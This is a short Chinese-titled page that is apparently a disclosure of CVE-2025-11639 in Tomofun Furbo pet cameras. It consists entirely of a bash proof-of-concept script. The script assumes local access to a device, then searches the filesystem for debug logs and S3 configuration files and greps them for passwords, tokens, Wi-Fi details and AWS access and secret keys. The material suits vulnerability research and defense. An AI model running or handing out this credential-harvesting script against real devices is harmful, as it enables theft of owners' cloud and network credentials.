CVE-2025-11639：Tomofun Furbo设备敏感信息不安全存储漏洞

#!/bin/bash # CVE-2025-11639 PoC - Insecure Storage of Sensitive Information # Vulnerability: Debug Log S3 Bucket Handler in collect_logs.sh # Affected: Tomofun Furbo 360 (<= FB0035_FW_036) and Furbo Mini (<= MC0020_FW_074) # Step 1: Gain local low-privilege access to the Furbo device # This could be through physical access, SSH, or other local vectors echo "[*] Establishing local access to Furbo device..." # Step 2: Locate the debug log files generated by collect_logs.sh echo "[*] Searching for debug log files..." find / -name "*.log" -path "*furbo*" 2>/dev/null find / -name "collect_logs*" 2>/dev/null find /tmp -type f 2>/dev/null find /var/log -type f 2>/dev/null # Step 3: Examine the debug log contents for sensitive information echo "[*] Extracting sensitive information from debug logs..." LOG_FILES=$(find / -name "*.log" -path "*debug*" 2>/dev/null) for log_file in $LOG_FILES; do echo "[*] Analyzing: $log_file" # Look for credentials, tokens, API keys grep -i "password\|token\|api_key\|secret\|credential\|aws_access\|wifi\|ssid" "$log_file" # Look for S3 bucket configuration grep -i "s3\|bucket\|aws" "$log_file" done # Step 4: Check S3 bucket handler configuration echo "[*] Checking S3 bucket handler configuration..." cat /etc/furbo/s3_config* 2>/dev/null cat /opt/furbo/config/* 2>/dev/null # Step 5: Extract any hardcoded credentials or sensitive data echo "[*] Extracted sensitive data:" grep -r "AKIA[0-9A-Z]{16}" /tmp/ /var/log/ 2>/dev/null # AWS Access Key IDs grep -r "[0-9a-zA-Z/+]{40}" /tmp/ /var/log/ 2>/dev/null # AWS Secret Keys echo "[*] PoC execution complete - sensitive information exposed"